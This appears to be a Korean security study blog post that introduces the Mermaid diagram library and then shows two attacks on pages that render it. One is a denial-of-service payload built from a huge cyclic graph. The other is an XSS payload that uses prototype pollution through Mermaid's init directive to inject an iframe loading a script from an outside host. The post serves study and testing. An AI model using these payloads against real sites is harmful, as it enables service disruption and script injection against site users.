
1. Mermaid란?
diagram을 마치 마크다운처럼 편한 문법으로 그릴 수 있도록 해주는 tool이다.
예를 들어
<script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
<div class="mermaid">
graph TD; A-->B; A-->C; B-->D; C-->D;
</div>
이런식으로 찍히고
<script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
<div class="mermaid">
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice
</div>
이런식으로 response에 출력된다.
2. Mermaid로 DOS 공격하기
a. 우선 Mermaid가 작동되는 페이지를 찾는다. (HTML모드)
b. 다음과 같은 코드를 작성한다.
<script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
<div class="mermaid">
graph TD;
A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B
-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A
-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B
-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A
-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A-->B;B-->A;A... (대략 10만개)
</div>
3. Mermaid로 XSS 공격하기
XSS 공격을 하기에 앞서 prototype pollution 이라는 공격방식을 알아야하는데 아래 링크에 자세히 정리되어 있다.
Prototype Pollution 이해하기 & 점검 사례
이 글은 아래 글을 번역한 후 이해를 바탕으로 작성한 글입니다. https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution NodeJS - __proto__ & prototype Pollution - HackTricks function (container, dep
mise.tistory.com
prototype pollution 취약점으로 3가지정도의 공격을 할 수 있다.
- 서비스 거부(DOS)
- XSS
- 원격 코드 실행
여기서는 XSS 하는 방법을 적어볼것이다.
1. 마찬가지로 Mermaid가 작동되는 페이지를 찾아야한다.
2. 다음과 같은 코드를 작성한다.
<script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
<div class="mermaid">
%%{init: { '__proto__': {'template': '<iframe srcdoc=\"<script src=http://xss.rocks/scriptlet.html> </script>\">'}} }%%
sequenceDiagram
Ace->>Bob: Hi Bob
Bob->>Ace: Hi Ace
</div>
** iframe 대신에 <script>alert(1)</script> 써도 무방(가능하다면)
출처:
https://frhyme.github.io/mermaid/Embedding_mermaid_in_github_page/
'WEB > 공부' 카테고리의 다른 글
Log4j 취약점( CVE-2021-44228 ) 자료 정리 (0) | 2021.12.18 |
---|---|
$(document).ready 사용 시 $ is not defined 에러 (0) | 2021.11.19 |
Electron으로 만든 앱에서 정보얻기 (0) | 2021.10.28 |
XSS 시 자주 써먹는 팁 과 구문들 (0) | 2021.10.14 |
Prototype Pollution 이해하기 & 점검 사례 (0) | 2021.10.14 |